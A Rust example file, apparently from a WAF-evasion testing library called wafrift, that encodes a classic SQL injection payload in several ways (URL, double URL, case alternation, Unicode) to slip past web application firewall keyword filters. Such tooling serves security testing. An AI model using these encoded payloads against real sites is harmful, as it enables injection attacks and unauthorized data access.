Skip to main content

encoding_basic/
encoding_basic.rs

1//! Simple encoding example — URL-encode a payload to bypass basic WAF filters.
2
3use wafrift_encoding::{Strategy, encode};
4
5fn main() {
6    // A classic SQL injection payload that most WAFs will catch
7    let payload = "' OR 1=1--";
8
9    println!("Original payload:");
10    println!("  {}", payload);
11    println!();
12
13    // Single URL encoding: converts special characters to %XX hex escapes
14    let encoded = encode(payload, Strategy::UrlEncode).unwrap();
15
16    println!("URL-encoded (bypasses keyword filters):");
17    println!("  {}", encoded);
18    println!();
19
20    // Show what the server decodes it back to
21    println!("Server decodes this back to:");
22    println!("  {}", payload);
23    println!();
24
25    // Try a few more strategies
26    println!("Other encodings for comparison:");
27
28    let double = encode(payload, Strategy::DoubleUrlEncode).unwrap();
29    println!("  Double URL:    {}", double);
30
31    let case_alt = encode(payload, Strategy::CaseAlternation).unwrap();
32    println!("  Case alt:      {}", case_alt);
33
34    let unicode = encode(payload, Strategy::UnicodeEncode).unwrap();
35    println!("  Unicode:       {}", unicode);
36}